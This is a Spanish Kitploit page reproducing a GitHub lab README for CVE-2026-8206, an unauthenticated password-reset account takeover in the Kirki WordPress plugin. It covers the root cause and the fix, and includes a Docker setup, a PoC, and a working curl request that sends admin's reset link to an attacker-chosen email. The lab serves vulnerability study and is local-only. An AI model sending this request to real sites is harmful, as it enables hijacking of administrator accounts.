Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8206-Lab | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-8206 - Laboratorio de apropiación de cuentas en Kirki

Laboratorio Docker local para demostrar CVE-2026-8206 en el plugin de WordPress Kirki.

Este repositorio compara las versiones reales del plugin Kirki:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

El laboratorio es solo local y vincula los servicios de WordPress a 127.0.0.1. El PoC es de daño mínimo: solicita un restablecimiento de contraseña y verifica el destinatario del correo capturado dentro del laboratorio. No cambia ninguna contraseña.


Resumen

CVE-2026-8206 es una vulnerabilidad de apropiación de cuentas / escalada de privilegios sin autenticación en las versiones 6.0.0 a 6.0.6 de Kirki.

El controlador vulnerable de restablecimiento de contraseña crea una clave de restablecimiento para un usuario real de WordPress seleccionado por username, pero envía el correo de restablecimiento a una dirección de correo arbitraria suministrada en la solicitud.

En este laboratorio:

root@kitploit:~
vulnerable => el enlace de restablecimiento para admin se envía a [email protected]
patched    => el correo no coincidente se rechaza y no se envía ningún correo de restablecimiento a [email protected]

Componente afectado

  • Producto: Kirki – Freeform Page Builder, Website Builder & Customizer
  • Versiones afectadas: 6.0.0 a 6.0.6
  • Versión corregida: 6.0.7
  • Endpoint vulnerable utilizado en este laboratorio:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Causa raíz

El controlador vulnerable es:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Comportamiento vulnerable en 6.0.6

Kirki lee el correo suministrado por el atacante desde el cuerpo de la solicitud:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Luego resuelve el usuario objetivo de WordPress por nombre de usuario y crea una clave de restablecimiento de contraseña para ese usuario:

root@kitploit:~
$key = get_password_reset_key( $user );

Pero el correo final de restablecimiento se envía al $email suministrado en la solicitud:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Esto rompe el límite de confianza entre la identidad de la cuenta y el destinatario del correo de restablecimiento. Un solicitante no autenticado puede proporcionar:

root@kitploit:~
username=admin
[email protected]

La clave de restablecimiento pertenece a admin, pero el correo se entrega a la dirección controlada por el atacante.

Comportamiento corregido en 6.0.7

Kirki 6.0.7 valida que el correo suministrado coincida con el correo registrado del usuario resuelto y luego fuerza al destinatario al correo de la cuenta antes de enviar:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Diseño del laboratorio

El correo local se captura en archivos en lugar de enviarse externamente:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

El laboratorio utiliza versiones reales del plugin Kirki instaladas con WP-CLI. El código fuente del plugin no se modifica.


Estructura del repositorio

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Requisitos

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Paquete requests de Python

Instale la dependencia de Python si es necesario:

root@kitploit:~
python3 -m pip install requests

Ejecutar el laboratorio

Inicie los contenedores:

root@kitploit:~
docker compose up -d --build

Siembre ambas instancias de WordPress:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Ejecute el PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Resultados esperados

Vulnerable: Kirki 6.0.6

Resultado esperado:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Esto demuestra que la versión vulnerable envió un correo de restablecimiento de contraseña para la cuenta objetivo a la dirección controlada por el atacante.

Corregido: Kirki 6.0.7

Resultado esperado:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Esto demuestra que la versión corregida rechaza la discrepancia entre nombre de usuario y correo, y no envía el correo de restablecimiento a la dirección controlada por el atacante.


Verificación manual

Cree el nonce correcto del elemento Kirki dentro del laboratorio vulnerable:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Envíe una solicitud solo local al servicio vulnerable:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Compruebe el correo capturado:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Evidencia esperada de vulnerabilidad:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Seguridad

Este laboratorio está pensado únicamente para investigación de seguridad local y demostración de portafolio.

Medidas de protección:

  • Vincula los servicios solo a 127.0.0.1.
  • Utiliza direcciones de correo locales ficticias.
  • Captura el correo localmente en lugar de enviar correo real.
  • No cambia contraseñas.
  • No intenta explotar sistemas externos.

Limpieza

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Referencias

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Aviso de Wordfence: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Base de datos de vulnerabilidades de Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • Página del plugin de WordPress / registro de cambios: https://wordpress.org/plugins/kirki/
  • Entrada en OpenCVE: https://app.opencve.io/cve/CVE-2026-8206
Descargar herramienta
ServicioPropósitoURL del host
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL para WordPress vulnerableSolo red Docker
db_patchedMySQL para WordPress corregidoSolo red Docker
wpcli_vulnSiembra WordPress vulnerableconfiguración de una sola ejecución
wpcli_patchedSiembra WordPress corregidoconfiguración de una sola ejecución